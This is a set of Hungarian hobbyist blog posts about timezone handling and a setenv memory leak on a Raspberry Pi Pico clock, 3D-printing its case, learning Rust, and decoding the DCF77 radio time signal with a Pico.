Elméletileg az mktime tud csinálni strukturált dátum és idő adatból unix timestamp-et és a localtime pedig unix timestamp alapján tud csinálni megfelelő időzónában lévő dátum és idő struct-ot. A pico/util/datetime.h ad néhány segédfüggvényt is, a későbbiekben ezeket fogjuk használni, de belül itt is az mktime és a localtime fut. A datetime_to_time egy datetime_t-ből csinál unix timestamp-et, a time_to_datetime pedig unix timestamp-ből csinál helyi időt (egy datetime_t-ben).

De van egy kis csavar. Mindkét irány helyi idővel dolgozik és meg kell tudnunk mondani az egyiknek, hogy UTC-ből dolgozzon, a másiknak pedig, hogy milyen időzónában vagyunk éppen. De hogyan is lehetne ezt beállítani?

Az egyetlen ötletem, amin el tudtam indulni az volt, hogy van a tzdata csomag, ami időzóna adatokat tartalmaz, hátha ott valamiből ki tudok indulni, mondjuk egy időzóna fájl tartalmát valahogy feljuttatni a Pico-ra. Nem ez vezetett a megoldáshoz, de megtudtam, hogy az időzóna meghatározásához használt pl. Europe/Budapest megnevezések tényleges fájlok a /usr/share/zoneinfo könyvtárban.

Összefutottam a leírásokban a TZ nevezetű környezeti változóval is, aminek az értéke lehet mondjuk Europe/Budapest, amiről most már tudjuk, hogy igazából a /usr/share/zoneinfo/Europe/Budapest fájl, amivel nem vagyunk előrébb.

Némi utánajárás után egy leírás alapján az is kiderült, hogy a TZ nem csak elérési utakat tartalmazhat, hanem egy az egyben időzóna definíciót is. A Europe/Budapest definíciója valahogy így néz ki a fenti leírás és a Wikipédia ide vonatkozó adatai alapján:

TZ=CET-1CEST,M3.5.0/2,M10.5.0/3

Az alap időzónánk a CET, amiből 1-et kell levonnunk, hogy megkapjuk az UTC-t. A nyári időszámításunk a CEST. A nyári időszámítás kezdete március utolsó vasárnapja (M3.5.0), hajnal 1 óra UTC szerint, ami a 2 órát jelenti CET-ben (mivel ebben a formátumban a helyi idő szerint kell megadnunk az órát). A nyári időszámítás vége október utolsó vasárnapja (M10.5.0), szintén hajnal 1 óra UTC szerint, ami 3 óra a CEST szerint.

Ha jól értem a dolgokat, akkor a fájl annyival tudna többet, hogy nem csak az aktuális szabály van benne, hanem visszamenőleg megvannak a régi szabályok is (vagy előremenőleg, ha valami szabály módosulás lesz a jövőben). Ha futtatunk mondjuk egy zdump -v Europe/Budapest | less parancsot, akkor látszik, hogy például 1916-ban még április utolsó vasárnapján este 11 órakor volt a nyári időszámításra váltás.

Így most már az RTC modultól kapott időt a megfelelő időzónára tudjuk alakítani, csak a TZ értéke legyen megfelelő az datetime_to_time és a time_to_datetime hívása előtt.

datetime_t now_utc;
datetime_t now_local_time;
char datetime_buf[256];

while (true) {
  rtc_get_datetime(&now_utc);

  setenv("TZ", "UTC", 1);
  time_t timestamp;
  datetime_to_time(&now_utc, &timestamp);

  setenv("TZ", "CET-1CEST,M3.5.0/2,M10.5.0/3", 1);
  time_to_datetime(timestamp, &now_local_time);

  datetime_to_str(&datetime_buf[0], sizeof(datetime_buf) / sizeof(char), &now_utc);
  printf("utc time:   %s\n", datetime_buf);
  datetime_to_str(&datetime_buf[0], sizeof(datetime_buf) / sizeof(char), &now_local_time);
  printf("local time: %s\n", datetime_buf);

  sleep_ms(1000);
}

Minden jónak tűnik... az első futásnál.

utc time:   Tuesday 27 August 21:02:03 2024
local time: Tuesday 27 August 23:02:03 2024
utc time:   Tuesday 27 August 21:02:04 2024
local time: Tuesday 27 August 21:02:04 2024
utc time:   Tuesday 27 August 21:02:05 2024
local time: Tuesday 27 August 21:02:05 2024

De csak az elsőnél, aztán gyorsan félremennek a dolgok. Mintha a két függvény valahogy egymás lábára lépne és elállítódnának a dolgok. Jó ideig nézegettem különböző implementációit a függvényeknek, de nem lettem tőle okosabb. Végül azzal a félmegoldással mentem, hogy a kernel kódjából hoztam el egy mktime implementációt, ami nem foglalkozik időzónákkal, így már működtek a dolgok.

Az igazi megvilágosodás akkor ért, amikor már ezt a bejegyzést írtam és újra elolvastam a TZ dokumentációját. Lehet, hogy csak az kell neki, hogy mennyi a különbség az UTC-hez képest még akkor is, ha UTC-t szeretnénk? Ez szerencsére megoldotta a problémát, a setenv("TZ", "UTC", 1)-et át kellett írni setenv("TZ", "UTC+0", 1)-ra. A sima UTC talán a /usr/share/zoneinfo/UTC fájlra vonatkozna, ami nekünk ugye itt nincs kéznél.

utc time:   Tuesday 27 August 21:08:56 2024
local time: Tuesday 27 August 23:08:56 2024
utc time:   Tuesday 27 August 21:08:57 2024
local time: Tuesday 27 August 23:08:57 2024
utc time:   Tuesday 27 August 21:08:58 2024
local time: Tuesday 27 August 23:08:58 2024
...

Minden szépen és jól működött, de úgy 10 perc után az óra ismét az UTC-s időt mutatta. Ezen a ponton azért már erősen megkérdőjelezhető, hogy vajon tényleg ez-e nekem a szórakozás.

Belevetettem magam a debug-olásba, de egy ponton túl már csak assembly kódot mutatott a CLion, valahonnan össze kellene szedni a forrást. Némi kutakodás után megtaláltam, hogy a Newlib nevezetű C könyvtárból jön többek között az mktime és a localtime is.

A Pi-on egy sudo apt install newlib-source parancs kiadásával megkaptam a forrást a /usr/src/newlib/newlib-3.3.0.tar.xz fájlban, amit aztán már be tudtam adni a CLion-nak. A dolgok mélyén végül azt találtam, hogy amikor a localtime megpróbálja betölteni a TZ környezeti változó értékét, akkor nem talál ott semmit. Ez elirányított a setenv irányába, ami nyilvánvalóan meg volt hívva ugyan, de a hatezredik futás környékén mintha már nem tette volna a dolgát.

Hosszas kutakodás után ennél a résznél kötöttem ki:

  if (!((*p_environ)[offset] =  /* name + `=' + value */
  _malloc_r (reent_ptr, (size_t) ((int) (C - name) + l_value + 2))))
    {
      ENV_UNLOCK;
      return -1;
    }

Le is ellenőriztem, a setenv hívás tényleg -1-et adott vissza, és bár nem vagyok egy C mágus, de a malloc-ból arra a következtetésre jutottam, hogy azért, mert elfogyott a memória. Készítettem egy rövid kis programot, hogy kipróbáljam:

int counter = 0;
int res;
while (true) {
  res = setenv("TZ", "UTC+0", 1);
  if (res == -1) {
    printf("baj van: %d\n", counter);
    break;
  }

  res = setenv("TZ", "CET-1CEST,M3.5.0/2,M10.5.0/3", 1);
  if (res == -1) {
    printf("baj van: %d\n", counter);
    break;
  }
  ++counter;
}

Ahogy azt sejteni lehetett, meg is kaptam a várt üzenetet:

baj van: 5217

Hiába nézegettem annyit az mktime-ot és a localtime-ot, a hiba végig a setenv-ben volt. Ha megnézzük a környező kódot, látszik, hogy ha az új környezeti változó értéke hosszabb, mint a régi érték volt, akkor új memóriaterületet foglal le neki, amit úgy tűnik nem szabadít fel senki se. A mi ciklusunk meg nagyjából másról se szól, mint hosszabb értékek beállításáról. Viszont ebből az következik, hogy ha ugyanolyan hosszúak, akkor nem lesz semmi baj, ugye? Feltöltöttem hát szóközökkel a rövidebbet.

int counter = 0;
int res;
while (true) {
  res = setenv("TZ", "UTC+0                       ", 1);
  if (res == -1) {
    printf("baj van: %d\n", counter);
    break;
  }

  res = setenv("TZ", "CET-1CEST,M3.5.0/2,M10.5.0/3", 1);
  if (res == -1) {
    printf("baj van: %d\n", counter);
    break;
  }
  ++counter;
}

Tény és való, ez már nem írja ki azt, hogy "baj van", megoldódott a probléma, visszarakom a kódba az idő konvertálgatást is, hogy lássam egyben működni...

utc time:   Tuesday 27 August 21:38:21 2024
local time: Tuesday 27 August 22:38:21 2024
utc time:   Tuesday 27 August 21:38:22 2024
local time: Tuesday 27 August 22:38:22 2024
utc time:   Tuesday 27 August 21:38:23 2024
local time: Tuesday 27 August 22:38:23 2024
...

Ez új. Valahogy elveszett egy óra. De nem estem kétségbe, ezen a ponton már elég rutint szedtem magamra, hogy sejtsem, a sok extra szóköz miatt nem tudja értelmezni rendesen az mktime a TZ értékét. Raktam egy extra vesszőt az UTC+0 után, hátha az meglágyítja a parser kő szívét...

setenv("TZ", "UTC+0,                      ", 1);

...és meglepő módon bevált:

utc time:   Tuesday 27 August 21:39:22 2024
local time: Tuesday 27 August 23:39:22 2024
utc time:   Tuesday 27 August 21:39:23 2024
local time: Tuesday 27 August 23:39:23 2024
utc time:   Tuesday 27 August 21:39:24 2024
local time: Tuesday 27 August 23:39:24 2024
...

Sikerült. Több napnyi szenvedés móka és kacagás után végül elértük, hogy a Pico óra a megfelelő helyi időt mutatja. Remélhetőleg a téli és nyári időszámítás közötti váltást is jól fogja kezelni. Majd október utolsó vasárnapján kiderül. Addigra remélhetőleg már az LCD kijelzőre is fogunk valamit rajzolni.

Hogy képes voltam-e csak a szóvicc kedvéért ezt kinyomtatni? Talán...

Régóta gondolkodtam már egy 3D nyomtató beszerzésén, de valami végfelhasználói élményhez közelebb álló darabra vágytam, mint egy 2D nyomtató esetén. Nem a 3D nyomtató építést, mint hobbit akartam elkezdeni, csak nyomtatni szeretnék.

Aztán felfedeztem a Bambu Lab nyomtatóit, amik pont ilyen gépeknek tűntek. Az A1 és P1 vonal között gondolkodtam sokáig, végül az A1 mellett döntöttem (az AMS lite nélkül), gondolván, hogy első nyomtatónak az olcsóbb is megteszi. A fő különbségnek az tűnt, hogy az A1 nem tud üzembiztosan ABS-t nyomtatni, de egyelőre nem érzem úgy, hogy ez zavarna.

Nyilván, amikor megérkezett minden hülyeséget kinyomtattam, amit csak le lehetett tölteni az Internetről, de az egyik indok, amivel meggyőztem magamat, hogy erre nekem szükségem lehet, az az volt, hogy a kis hardveres projektjeimhez tudok majd alkatrészeket nyomtatni. Az egyik ilyen projekt a Pico alapú óra, ami szoftveresen azóta se sokat fejlődött, de most már van egy kezdetleges doboza is. Nézzük is meg hogyan készült.

Tervezés

Rendelkezem némi Blender tudással, úgyhogy abban álltam neki összerakni a dobozt, de valószínűleg jobban jártam volna, ha elkezdek inkább kitanulni valami CAD szoftvert. Nem lehetetlen Blender-ben ilyen dolgokat csinálni, de nem erre lett kitalálva.

Katt a teljes változatért!

Előtúrtam még a fiókból egy régi digitális tolómérőt, aminek a digitális része már nem volt hajlandó működni (szerencsére analóg tolómérőként még funkcionált), úgyhogy nem tudtam elég pontosan lemérni a dolgokat.

Kivitelezés

Először a kijelző köré nyomtattam egy keretet... aztán még egy párat, a fent említett mérési hiányosságok miatt.

Szabad szemmel nem is igazán látszanak különbségek, tized-millimétereket módosítgattam míg végül meg nem kaptam a pontosan illeszkedő darabot.

A következő lépés a gombok elhelyezése volt. Először arra gondoltam, hogy a kinyomtatott tok része lesz, de túl kicsik voltak hozzá a gombok és a PLA sem bizonyult alkalmasnak az ilyen jellegű felhasználásra.

Miután a gombok a helyükre kerültek (azokból is készült vagy 3-4 változat, mire megfelelően belepasszoltak a lyukakba), lett egy nagyjából késznek mondható elülső elemem, amibe tökéletesen illeszkedik az óra.

Jöhet a hátulsó rész. Itt a csavaroknak szánt lyukakkal gyűlt meg a bajom, nem is egyszer.

Az elülső részbe menetes betéteket terveztem rakni, a hátulsó részen csak átmentek volna a csavarok, de nem érkezett meg időben a csomag, így végül olyan lyukak lettek, amikbe a kis M2-es csavarok menetet tudnak vágni maguknak. Első változatnak ez is megteszi.

A másik probléma a lyukak pozíciója volt, ugyanott kellett lenniük, mint a PCB sarkain lévő lyukaknak, hogy össze lehessen végül csavarozni a két részt.

Ugyanaz a móka, mint a kijelző kereténél, de itt vagy fél milliméterrel lőttem mellé az első tippel. A végén a sarkokból is le kellett vágnom még egy kicsit, mert túl magas volt ahhoz a hátulsó rész, hogy a leghosszabb csavarom átérje.

Ez után következett az USB helye. Ehhez a hátulsó rész egyik oldalát nyomtattam csak ki újra meg újra, amíg el nem találtam a pontos pozíciót.

Az első változat után a részletekből is visszavettem, hogy csökkentsem a nyomtatási időt.

És el is érkeztünk az első változathoz. Nem túl dizájnos, de minden méret a helyén van, a következő változatokban lehet rajta majd szépíteni, ha még képes leszek kiigazodni a Blender-es modellen.

Bár a képen nem látszik, de az USB alatt van egy kis lyuk, amin keresztül el lehet érni a LiPo SHIM ki-be kapcsoló gombját is.

A gombok kaptak kis feliratokat, amivel a 0,4 mm-es nyomtatófej nem tudott olyan szépen megbírkózni.

A jól ismert retró háttérvilágítás és a tavalyi kamu interfész.

Összességében remek móka a 3D nyomtatás, amit utólag lehet, hogy másképp csinálnék az az, hogy nem kezdenék neki működő digitális tolómérő nélkül, hogy kevesebb műanyag szemét termelődjön a projekt során. És megpróbálnám rávenni magam, hogy közelebbről tanulmányozzam valamelyik CAD szoftvert.

Beszélgessünk egy kicsit a nyelvtanulásról. No nem azoknak a fura nyelveknek a tanulásáról, amit a humanoidok egymás között használnak, hanem inkább a programozási nyelvek tanulásáról.

Egy ideje nézegetem már a Rust-ot, úgyhogy amikor olvastam egy játék fejlesztői blogján, hogy Rust-ban írták, ismét elkezdtem egy kicsit jobban utánanézni. Olvasgattam milyen játék motorok vannak Rust-hoz, ki is próbáltam néhány példakódot, de tisztában vagyok a (fejlesztői, de még inkább grafikusi) korlátaimmal, nem kezdenék neki egy játék fejlesztésének, főleg nem egy olyan nyelven, amit még nem is ismerek rendesen.

Úgyhogy inkább ismerősebb vizekre eveztem és megnéztem, hogy milyen webes keretrendszerek vannak, egész sokáig el is jutottam a leírásában az egyik szimpatikusabb darabnak, amikor kezdett már problémát jelenteni a példakódok maradéktalan értelmezése. Lehet, hogy nem ártana egy kis alapozás.

Manapság az Internet már teli van mindenféle online kurzusokkal, videóanyagokkal, de én a tradicionálisabb megoldások híve vagyok, úgyhogy a hivatalos Rust könyvnek estem neki. Nagyjából a feléig jutottam, amikor már nagyon kezdtem unni, hogy csak olvasok és nem pedig programozok.

Találtam is egy "munkafüzet" jellegű feladatgyűjteményt, ahol a kód nagy része meg van már írva, csak el kell érni, hogy leforduljon, vagy éppen a tesztek zöldek legyenek. Az alap gondolat szerintem nagyon jó, más nyelvekhez is találkoztam már ilyesmivel.

Az egyetlen probléma, hogy az ilyen jellegű feladatoknál hajlamos vagyok átkapcsolni tanulási üzemmódból feladat megoldási üzemmódba, ami arra nagyon jó, hogy gyorsan végigvittem ezt a "játékot", de a mélyebb megértést nem igazán segítette.

Néhány helyen azért sikerült lelassítani, ahol vagy sokadik próbálkozásra sem sikerült megoldani a feladatot, vagy nekiállni se tudtam, úgyhogy azért utána is olvastam néhány résznek. Az első megoldások sokszor nem is sikerültek túl szépre, nyilván nem ismerem a nyelv által nyújtott eszközöket, azzal dolgozok, amim van (vagy amit épp pár feladattal korábban tanultam). Például a hashmaps/hashmaps3.rs pálya első megoldása valami ilyesmi lett:

match scores.get_mut(&team_1_name) {
  Option::Some(team) => {
    team.goals_scored += team_1_score;
    team.goals_conceded += team_2_score;
  }
  Option::None => {
    scores.insert(
      team_1_name.clone(),
      Team { goals_scored: team_1_score, goals_conceded: team_2_score }
    );
  }
}
match scores.get_mut(&team_2_name) {
  Option::Some(team) => {
    team.goals_scored += team_2_score;
    team.goals_conceded += team_1_score;
  }
  Option::None => {
    scores.insert(
      team_2_name.clone(),
      Team { goals_scored: team_2_score, goals_conceded: team_1_score }
    );
  }
}

Aztán ráleltem a HashMap entry függvényére és az Entry or_insert függvényére, amik nagyban leegyszerűsítették a fenti kódot:

let team = scores.entry(team_1_name)
                 .or_insert(Team { goals_scored: 0, goals_conceded: 0 });
team.goals_scored += team_1_score;
team.goals_conceded += team_2_score;

let team = scores.entry(team_2_name)
                 .or_insert(Team { goals_scored: 0, goals_conceded: 0 });
team.goals_scored += team_2_score;
team.goals_conceded += team_1_score;

A Team később kapott még néhány extra függvényt...

impl Team {
  fn new() -> Self { Team { goals_scored: 0, goals_conceded: 0 } }
  fn add(&mut self, scored: u8, conceded: u8) {
    self.goals_scored += scored;
    self.goals_conceded += conceded;
  }
}

...és ez lett a végső megoldásom:

scores.entry(team_1_name)
      .or_insert(Team::new())
      .add(team_1_score, team_2_score);
scores.entry(team_2_name)
      .or_insert(Team::new())
      .add(team_2_score, team_1_score);

Miután a Rustlings pályáival végeztem, új feladat után kellett néznem. Egy webes projektet még mindig túl nagy falatnak éreztem. Régen, amikor Python-t tanultam, akkor Project Euler feladatokat oldottam meg vele gyakorlásként. Hasonló ötlettel mentem tovább most is.

A 2023-as Advent of Code-ba (is) belekezdtem tavaly decemberben és bár nem jutottam túl sokáig, az első néhány napra lett megoldásom PHP-ban (fő a változatosság), amiket újragondolhatok Rust-ban.

A meglévő megoldások ugyan nem előfeltételei annak, hogy az Advent of Code feladatai jól használhatóak legyenek egy kis programozási gyakorlásra, de én személy szerint nem szeretem, ha két zavaró tényező is van: az egyik az, hogy nem tudom még, hogy hogyan kell megoldani a feladatot, a másik pedig az, hogy nem értek a Rust-hoz. Az általában csak frusztrációhoz vezet és elmegy az ember kedve az egésztől.

Nyilván az Interneten fellelhető egy csomó Advent of Code megoldás, de akkor meg azzal megy az idő, hogy mások kódját megértse az ember, szóval jobb az, ha saját megoldással megyünk.

Alább az első nap első felének a megoldása, szerintem egész Rust-szerű lett:

use std::fs;

fn main() {
  let sum: u32 = fs::read_to_string("data/input_1.txt").unwrap()
    .lines()
    .map(calibration_value)
    .sum();

  println!("{:?}", sum);
}

fn calibration_value(line: &str) -> u32 {
  let numbers: Vec<u32> = line.chars()
    .filter_map(|c| c.to_digit(10))
    .collect();

  numbers.first().unwrap() * 10 + numbers.last().unwrap()
}

Érdemes összevetni a PHP-s implementációmmal, ami egy kicsit... hogy is mondjam... kevésbé sikerült elegánsra (bár akkoriban a cél a feladat megoldása volt, nem pedig az, hogy gyönyörű PHP kód szülessen):

<?php

$sum = 0;
foreach (file('input_1.txt') as $line) {
  $data = trim($line);
  preg_match('/^.*?(?P<digit>[0-9])/', $data, $m);
  $firstDigit = $m['digit'];
  preg_match('/.*(?P<digit>[0-9]).*?$/', $data, $m);
  $lastDigit = $m['digit'];

  $sum += intval($firstDigit . $lastDigit);
}

print("$sum\n");

Egy másik jó irány lehet egy új nyelv (és a hozzá tartozó teszt környezet) gyakorlására a kód katák. Főleg azok, amiket más nyelveken már megoldottunk, hogy a feladat megoldása már ne okozzon semmilyen súrlódást. De a kata feladatok általában egyébként sem túl bonyolultak, úgyhogy akár előzetes felkészülés nélkül is bele lehet vágni.

Szóval így teltek a napjaim a Rust társaságában. A következő lépés valószínűleg az lesz, hogy visszatérek egy kicsit a könyvhöz, hogy a Rust sajátosságait (mint például az ownership/borrowing) jobban megértsem és mellette csinálom tovább a kis feladatokat. Te hogyan állsz neki egy új programozási nyelv tanulásának?

A korábbi óra építős projekt kapcsán arra jutottam, hogy egyszerűbben is meg lehetne ezt oldani. Úgyhogy vettem egy asztali órát.

Na jó, ez azért nem teljesen így történt, csak valahogy úgy hozta az élet, hogy egyszerre több idő-szerű dolog is foglalkoztat. Ez a kis projekt például arról szól, hogy vajon az Internet előtt az emberek hogyan juthattak hozzá a pontos időhöz?

Természetesen kinéztek az ablakon és leolvasták a pontos időt a templomtoronyról. Hála a modern technológiának, ezt mi is viszonylag egyszerűen meg tudjuk oldani. Csak ráirányítunk egy kamerát a templomtoronyra és mesterséges intelligencia segítségével leolvassuk a mutatók pozíciója alapján az időt.

Persze nem ennyire egyszerű a dolog. Valahogy meg kell állapítanunk azt is, hogy délelőtt vagy délután van és valószínűleg azt sem ártana megtudni, hogy mi a mai dátum. Arról nem is beszélve, ha valakinek a közelében épp nincsen egy templomtorony se.

Szemfüles olvasóknak feltűnhetett, hogy ehhez ugyan nem kellett volna egy asztali óra. Igaz, ami igaz, nem ebbe az irányba indultam el, nem szerettem volna ennyire visszamenni az időben. Valójában azon gondolkodtam el, hogy hogyan működhetnek a rádióvezérlésű órák.

Rádió időszinkron

Az egész egy adótoronnyal kezdődik. Mifelénk a DCF77 nevű, Németországban található torony által leadott jel lesz az, amit fogni tudunk, de van több is, ami a világ többi részét fedi le.

A DCF77 esetén a jelet egy atomóra generálja és a sugárzása 60 másodpercig tart. Másodpercenként egy bit érkezik. A jelsorozatot egy hosszabb szünet zárja le. Viszont elég nagy a zaj, úgyhogy előfordulhat, hogy a hosszabb szünet megérkezésekor nincs elég adatunk, vagy ami valószínűbb, hogy előbb lesz 59 bitnyi adatunk, minthogy a szünet jönne, így a vételi viszonyok függvényében elég sokáig eltarthat az idő szinkronizáció.

Már csak egy vevő készülékre van szükségünk. Ez általában egy ferritrudas antennával és némi elektronika segítségével történik meg. Lehet rendelni vevőt Kínából is, de nem volt kedvem egy hónapot várni, aztán még a postával is vacakolni, úgyhogy a leggyorsabb megoldásnak az tűnt, ha egy olcsó rádióvezérelt órát rendelek és "megvizsgálom" közelebbről.

Az áldozat

A korábban emlegetett óra belsejébe belenézve láthatjuk, hogy lent van egy különálló nyomtatott áramkör, alatta pedig egy ferritrudas antenna. Ezeket némi forrasztással el is távolítottam.

Az óra sikeresen túlélte a műtétet, minden ugyanúgy működik rajta, csak a (rádiójel) hallását vesztette el.

EMAX 6007 V1
GE16-1055R5
NEW GE13-887

A rádió vevőn lévő feliratok nem segítettek abban, hogy valami leírást találjak, de más hasonló lapkák alapján kikövetkeztettem, hogy a GND a földbe megy, a VCC-n 3,3 voltot szeretne kapni, a PON a teljes modult tudja ki-be kapcsolni (de nem kell bekötni sehova) és kizárásos alapon az NTCO-n jön az adat.

A vezetékek kaptak egy kis toldást, hogy legyen a végükön jumper csatlakozó a próbapaneles felhasználáshoz, aztán rákötöttem az egészet egy Pico-ra.

Szép is lett volna, ha elsőre sikerül. Néhány óra itt ráment arra, hogy kiderítsem miért nem jön semmi adat az antenna felől. Próbáltam bármi leírást keresni a modulhoz, kapcsolgatni a PON-t, különböző GPIO pin-eken rákötni a Pico-ra, gyanakodtam a kódra is, de végül az lett a megoldás, hogy átkötöttem a modult egy dedikált áramforrásra és a Pico csak az adat jelet kapta meg. Valószínűleg a Pico nem tudott elég áramot adni az eszköznek.

Bitek a zajban

Jön valamiféle adat, valamit kezdeni is kellene vele. Először csak a Pico-n található LED-et kezdtem el villogtatni, hogy legyen visszajelzés a történésekről.

#include "pico/stdlib.h"

#define DCF_PIN 16
#define LED_PIN 25

void on_change(uint gpio, uint32_t event_mask) {
  gpio_put(LED_PIN, event_mask & GPIO_IRQ_EDGE_RISE);
}

int main() {
  gpio_init(DCF_PIN);
  gpio_init(LED_PIN);

  gpio_set_dir(DCF_PIN, GPIO_IN);
  gpio_set_dir(LED_PIN, GPIO_OUT);

  gpio_set_irq_enabled_with_callback(
    DCF_PIN,
    GPIO_IRQ_EDGE_FALL | GPIO_IRQ_EDGE_RISE,
    true,
    &on_change
  );

  while (true) {
    sleep_ms(1000);
  }
}

A következő lépés, hogy elkezdjük mérni, hogy milyen sokáig van magas és alacsony állapotban a jel. A dokumentáció szerint 0 érkezik, ha 100 ezredmásodpercig magas a jel, 1 érkezik, ha 200 ezredmásodpercig magas a jel. Mivel másodpercenként egy bit jön, ezért két magas állapot között kell lennie 800-900 ezredemásodpercnyi alacsony állapotnak. Az utolsó másodpercben nem jön adat, úgyhogy ott van egy 1800-1900 ezredmásodperces alacsony állapot.

Először is definiálunk néhány konstans értéket a zajszűréshez, annak megállapításához, hogy 0 vagy 1 jött és az adat végének detektálásához.

#define MINIMAL_HIGH_PULSE_WIDTH 50
#define MINIMAL_LOW_PULSE_WIDTH 700
#define PULSE_WIDTH_THRESHOLD 150
#define END_OF_DATA_PULSE_WIDTH 1500

Aztán néhány változó is kelleni fog, amiben az előző állapotváltozások időpontját és az eddig megérkezett adatot tároljuk.

uint32_t rise_time = 0;
uint32_t fall_time = 0;

uint64_t buffer = 0;
uint32_t buffer_position = 0;

Ezek után már csak az on_change belsejét kell megírni. Először is lekérjük, hogy a Pico elindítása óta hány ezredmásodperc telt el.

uint32_t now = to_ms_since_boot(get_absolute_time());

Aztán csinálunk egy kis zaj szűrést, különben szinte lehetetlen lenne megkapni az adatot.

if (now - fall_time < MINIMAL_LOW_PULSE_WIDTH) {
  return;
}

if (now - rise_time < MINIMAL_HIGH_PULSE_WIDTH) {
  return;
}

Ha alacsonyról magasra váltott a jel, akkor megnézzük, hogy elég hosszú volt-e az alacsony jel ahhoz, hogy az adat végét jelentse. Ha ezen a ponton kaptunk 59 bitnyi adatot, akkor minden oké, ha nem, akkor kezdjük előről az egészet.

if (event_mask & GPIO_IRQ_EDGE_RISE) {
  rise_time = now;

  if (rise_time - fall_time > END_OF_DATA_PULSE_WIDTH) {
    if (buffer_position == 59) {
      printf(" - data received: %lld\n", buffer);
    }
    else {
      printf(" - reset: not enough data\n");
    }
    buffer = buffer_position = 0;
  }
}

Ha magasról alacsonyra váltott a jel, akkor a jel hossza alapján eldöntjük, hogy 0-t vagy 1-et kaptunk és eltesszük a kapott értékünket a buffer-be. Itt előfordulhat, hogy a kelleténél több adatunk van (a zaj miatt), ha ez a helyzet, akkor előről kezdjük az egészet.

else if (event_mask & GPIO_IRQ_EDGE_FALL) {
  fall_time = now;

  uint64_t next_bit = fall_time - rise_time > PULSE_WIDTH_THRESHOLD ? 1 : 0;

  printf("%lld", next_bit);

  buffer |= next_bit << buffer_position;
  ++buffer_position;

  if (buffer_position > 59) {
    printf(" - reset: too much data\n");
    buffer = buffer_position = 0;
  }
}

Ha minden jól ment, a végén lesz egy adatsorozatunk, ami remélhetőleg az aktuális pontos időt tartalmazza.

Szépen lassan csordogál az adat...

Menjünk biztosra

Többször volt említve a zaj, ami elég nagy probléma tud lenni. Abban a szobában, ahol az asztali gépem és a szerverek vannak nem is sikerült használható adatot kinyerni. Egy laptoppal költöztem át egy másik szobába, hogy ki tudjam próbálni a kódot. Napközben ott is sok volt a zaj és kellett egy fél óra is akár, hogy megkapjam a pontos időt, de este szinte minden percben sikeresen átért az adat.

Szóval van egy adag bitünk, de nem tudhatjuk, hogy attól, hogy mi azt gondoltuk, hogy 1-es értéket kaptunk, a másik oldal tényleg 1-est küldött-e. Ennek ellenőrzésére van az adatban három darab paritás bit, ami 0, ha az előtte lévő adatban páros számú 1-es van és 1, ha páratlan. Először is nézzük meg, hogy hogyan számolunk paritást egy tetszőleges int-re:

int parity(int num) {
  num ^= num >> 16;
  num ^= num >> 8;
  num ^= num >> 4;
  num ^= num >> 2;
  num ^= num >> 1;
  return num & 1;
}

A részletekbe nem mennék bele, a Stack Overflow oldalon, ahonnan loptam a kódot remek magyarázat van hozzá. Ezen kívül tudnunk kell, hogy melyek a paritás bitek és milyen adatokra számolódtak ki. Ezt a kapcsolódó Wikipédia oldalon meg tudjuk nézni. Például a perc esetén:

int min_data = (int) ((buffer >> 21) & 0b1111111);
int min_parity = (int) ((buffer >> 28) & 1);

if (parity(min_data) != min_parity) {
  printf("invalid parity for minute\n");
}

A buffer-ünket eltoljuk jobbra 21 bittel (gyakorlatilag kidobjuk az első 21 bitet), mert a 22. bittől kezdődik a perchez tartozó adat és vesszük az első 7 bitet (& 0b1111111), mert addig tart a perc.

A paritáshoz az első 28 bitet dobjuk ki és a maradék adatból 1 bitet tartunk csak meg. Az általunk kiszámolt paritásnak egyeznie kell az így kapott adattal.

Az órát és a dátumot hasonló módon ellenőrizzük, csak a jobbra eltolások száma és az utána megtartott adatok mennyisége változik.

int hour_data = (int) ((buffer >> 29) & 0b111111);
int hour_parity = (int) ((buffer >> 35) & 1);

if (parity(hour_data) != hour_parity) {
  printf("invalid parity for hour\n");
}

int date_data = (int) ((buffer >> 36) & 0b1111111111111111111111);
int date_parity = (int) ((buffer >> 58) & 1);

if (parity(date_data) != date_parity) {
  printf("invalid parity for date\n");
}

Itt az idő

Ha átment a buffer az ellenőrzéseken, akkor már csak ki kell nyernünk belőle az adatokat és be kell állítanunk a Pico-n a pontos időt. Először nézzük meg itt is a percet.

int min = (int) ((buffer >> 21) & 0b1111111);
min = (min >> 4) * 10 + (min & 0b1111);

Az adat kinyerése ugyanaz, mint a paritás esetén, de mivel az adat binárisan kódolt decimálisként van ábrázolva, ezért van vele még egy kis extra dolgunk (az első négy bit az első számjegy, a második négy bit (ami csak három) a második számjegy).

A maradék adatot hasonlóan kaphatjuk meg, a hét napja (dow) esetén a vasárnap 7-esként jön és a Pico azt 0-ként szeretné megkapni, valamint az év esetén hozzá kell adnunk 2000-et az értékhez, mert az évszám utolsó két számjegyét kapjuk csak meg.

int hour = (int) ((buffer >> 29) & 0b111111);
hour = (hour >> 4) * 10 + (hour & 0b1111);

int dom = (int) ((buffer >> 36) & 0b111111);
dom = (dom >> 4) * 10 + (dom & 0b1111);

int dow = (int) ((buffer >> 42) & 0b111);
if (dow == 7) {
  dow = 0;
}

int month = (int) ((buffer >> 45) & 0b11111);
month = (month >> 4) * 10 + (month & 0b1111);

int year = (int) ((buffer >> 50) & 0b11111111);
year = 2000 + (year >> 4) * 10 + (year & 0b1111);

Már csak meg kell mondani a Pico RTC moduljának, hogy mennyi a pontos idő.

rtc_init();

datetime_t t = {
  .year = (int16_t) year,
  .month = (int8_t) month,
  .day = (int8_t) dom,
  .hour = (int8_t) hour,
  .min = (int8_t) min,
  .sec = 0,
  .dotw = (int8_t) dow,
};

rtc_set_datetime(&t);

És ezzel kész is vagyunk, Internet nélkül sikerült megkapnunk a pontos időt.

A másik irány

Maradt egy szegény, szerencsétlen óránk, aki most nem tudja magát szinkronizálni, mert elvettük tőle a rádió modult. Aztán kedves kollégám, potato bedobta az ötletet, hogy mi lenne, ha adnánk neki egy kamu jelet, úgyhogy ismét azon kaptam magam, hogy csavarozom szét az órát és a régi modul helyére forrasztottam pár jumper kábelt. Először csak a GND és az NTCO helyére, de később bekötöttem a PON-t is.

Összekötöttem a Pico-val és elkezdtem neki jelet küldeni, de nem annyira tetszett az órának.

Először arra gyanakodtam, hogy a PON hiánya okozza a problémát, hogy akkor kap jelet az óra, amikor nem számít rá, úgyhogy bekötöttem azt is, de nem lett jobb a villogás. Aztán a forrasztásra gyanakodtam, hogy véletlenül rövidre zárhattam valamit, de néhány perc nagyítóval vizsgálgatás alapján minden jónak tűnt.

